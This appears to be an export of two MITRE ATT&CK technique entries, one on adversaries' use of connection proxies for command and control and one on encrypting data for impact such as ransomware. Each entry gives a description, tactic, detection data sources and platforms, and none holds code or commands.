Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre